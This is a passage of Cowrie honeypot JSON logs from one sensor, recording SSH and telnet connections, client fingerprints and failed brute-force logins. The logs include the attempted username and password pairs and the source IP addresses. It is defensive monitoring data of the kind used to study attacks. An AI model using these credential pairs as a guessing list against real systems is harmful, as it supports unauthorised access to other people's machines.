","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:44.291647Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:44.423608Z","src_ip":"151.237.79.243","session":"aa54b32d4cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.195924520492554,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:54.240525Z","src_ip":"50.6.8.71","session":"a5d907d71997","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49622,"dst_ip":"10.17.0.5","dst_port":23,"session":"e753c8fb57e3","protocol":"telnet","message":"New connection: 50.6.8.71:49622 (10.17.0.5:23) [session: e753c8fb57e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:58.055995Z"}
{"eventid":"cowrie.session.closed","duration":32.86183571815491,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:19:59.803352Z","src_ip":"50.6.8.71","session":"7d13e55b739b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54850,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4c5655a9080","protocol":"ssh","message":"New connection: 109.172.54.111:54850 (10.17.0.5:22) [session: d4c5655a9080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:00.456860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:00.462288Z","src_ip":"109.172.54.111","session":"d4c5655a9080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:00.566460Z","src_ip":"109.172.54.111","session":"d4c5655a9080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:01.042097Z","src_ip":"109.172.54.111","session":"d4c5655a9080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":6334,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0db3fc5f85c","protocol":"ssh","message":"New connection: 2.57.121.112:6334 (10.17.0.5:22) [session: c0db3fc5f85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:01.969181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:01.976442Z","src_ip":"2.57.121.112","session":"c0db3fc5f85c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:02.080585Z","src_ip":"2.57.121.112","session":"c0db3fc5f85c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:02.144596Z","src_ip":"109.172.54.111","session":"d4c5655a9080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2cd9634cf06","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: d2cd9634cf06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:02.497780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:02.505277Z","src_ip":"4.210.91.174","session":"d2cd9634cf06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"crasher","message":"login attempt [admin/crasher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:02.551440Z","src_ip":"2.57.121.112","session":"c0db3fc5f85c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:02.580623Z","src_ip":"4.210.91.174","session":"d2cd9634cf06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44078,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ca9c1a07087","protocol":"telnet","message":"New connection: 50.6.8.71:44078 (10.17.0.5:23) [session: 9ca9c1a07087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:02.665093Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"warnightkardesim","message":"login attempt [root/warnightkardesim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:02.879992Z","src_ip":"4.210.91.174","session":"d2cd9634cf06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"crafts","message":"login attempt [admin/crafts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:03.655254Z","src_ip":"2.57.121.112","session":"c0db3fc5f85c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:03.950978Z","src_ip":"4.210.91.174","session":"d2cd9634cf06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"crab","message":"login attempt [admin/crab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:04.760839Z","src_ip":"2.57.121.112","session":"c0db3fc5f85c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00162553787231,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:04.909828Z","src_ip":"181.94.225.234","session":"3930ca23fb47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.621071100234985,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:05.846100Z","src_ip":"50.6.8.71","session":"303a6d1cde3c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"courtney1","message":"login attempt [admin/courtney1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:05.865040Z","src_ip":"2.57.121.112","session":"c0db3fc5f85c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44382,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c2283659734","protocol":"telnet","message":"New connection: 50.6.8.71:44382 (10.17.0.5:23) [session: 6c2283659734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:06.373576Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":10857,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f4bf5edaadf","protocol":"telnet","message":"New connection: 181.94.225.234:10857 (159.203.135.109:23) [session: 9f4bf5edaadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:06.497192Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"counting","message":"login attempt [admin/counting] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:06.969070Z","src_ip":"2.57.121.112","session":"c0db3fc5f85c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:08.073677Z","src_ip":"2.57.121.112","session":"c0db3fc5f85c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44084,"dst_ip":"10.17.0.5","dst_port":23,"session":"71be59e0e612","protocol":"telnet","message":"New connection: 50.6.8.71:44084 (10.17.0.5:23) [session: 71be59e0e612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:10.216475Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44386,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc738167e4d2","protocol":"telnet","message":"New connection: 50.6.8.71:44386 (10.17.0.5:23) [session: bc738167e4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:14.648020Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":36320,"dst_ip":"159.203.135.109","dst_port":22,"session":"594497ffc681","protocol":"ssh","message":"New connection: 50.7.136.106:36320 (159.203.135.109:22) [session: 594497ffc681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:15.829670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:15.835059Z","src_ip":"50.7.136.106","session":"594497ffc681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:15.917643Z","src_ip":"50.7.136.106","session":"594497ffc681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LHY@123.com!","message":"login attempt [root/LHY@123.com!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:16.168093Z","src_ip":"50.7.136.106","session":"594497ffc681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.89953947067261,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:16.324928Z","src_ip":"50.6.8.71","session":"eb7f30189fd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:17.256536Z","src_ip":"50.7.136.106","session":"594497ffc681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":39936,"dst_ip":"159.203.135.109","dst_port":22,"session":"dab588052722","protocol":"ssh","message":"New connection: 200.77.172.159:39936 (159.203.135.109:22) [session: dab588052722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:20.720936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:20.727050Z","src_ip":"200.77.172.159","session":"dab588052722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:20.802288Z","src_ip":"200.77.172.159","session":"dab588052722","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:21.129154Z","src_ip":"200.77.172.159","session":"dab588052722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:22.207723Z","src_ip":"200.77.172.159","session":"dab588052722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39534,"dst_ip":"10.17.0.5","dst_port":23,"session":"651b60c3142c","protocol":"telnet","message":"New connection: 50.6.8.71:39534 (10.17.0.5:23) [session: 651b60c3142c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:24.522718Z"}
{"eventid":"cowrie.session.closed","duration":34.55275225639343,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:32.608673Z","src_ip":"50.6.8.71","session":"e753c8fb57e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.26667761802673,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:36.931659Z","src_ip":"50.6.8.71","session":"9ca9c1a07087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53960,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce30068bd27c","protocol":"telnet","message":"New connection: 50.6.8.71:53960 (10.17.0.5:23) [session: ce30068bd27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:41.500521Z"}
{"eventid":"cowrie.session.closed","duration":35.261449575424194,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:45.477792Z","src_ip":"50.6.8.71","session":"71be59e0e612","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.13112664222717,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:48.778982Z","src_ip":"50.6.8.71","session":"bc738167e4d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.464110374450684,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:48.837504Z","src_ip":"50.6.8.71","session":"6c2283659734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937943696975708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:20:55.460527Z","src_ip":"50.6.8.71","session":"651b60c3142c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.173070192337036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:12.673435Z","src_ip":"50.6.8.71","session":"ce30068bd27c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53792,"dst_ip":"10.17.0.5","dst_port":23,"session":"b400fa45c22b","protocol":"telnet","message":"New connection: 50.6.8.71:53792 (10.17.0.5:23) [session: b400fa45c22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:14.617231Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52644,"dst_ip":"10.17.0.5","dst_port":23,"session":"568c8f2d621c","protocol":"telnet","message":"New connection: 50.6.8.71:52644 (10.17.0.5:23) [session: 568c8f2d621c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:25.017921Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"31d9cef0553d","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 31d9cef0553d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:26.404952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:26.410086Z","src_ip":"4.210.91.174","session":"31d9cef0553d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:26.477777Z","src_ip":"4.210.91.174","session":"31d9cef0553d","protocol":"ssh"}
